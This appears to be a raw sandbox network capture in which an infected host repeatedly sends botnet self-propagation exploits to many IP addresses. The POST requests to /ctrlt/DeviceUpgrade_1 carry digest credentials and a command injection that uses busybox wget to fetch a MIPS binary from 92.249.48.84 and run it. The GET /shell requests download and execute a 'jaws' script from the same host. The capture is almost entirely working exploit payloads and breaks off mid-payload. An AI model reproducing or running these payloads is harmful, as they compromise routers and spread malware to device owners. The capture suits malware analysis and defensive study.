Oct 14, 2024 17:34:15.154019117 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	34288	8.160.109.226	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.186032057 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	35202	41.125.165.215	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.186116934 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	40442	108.81.130.89	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.186995029 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	36408	156.251.221.106	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.216597080 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	50272	156.46.198.66	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.217267036 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	42784	41.194.65.164	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.217899084 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	41606	183.57.37.96	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.248613119 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	52682	197.132.23.190	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.248698950 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	59940	197.188.25.161	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.250257969 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	35964	156.235.118.232	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.281030893 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	53966	41.237.110.7	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.282814980 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	34810	156.247.75.253	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.283766031 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 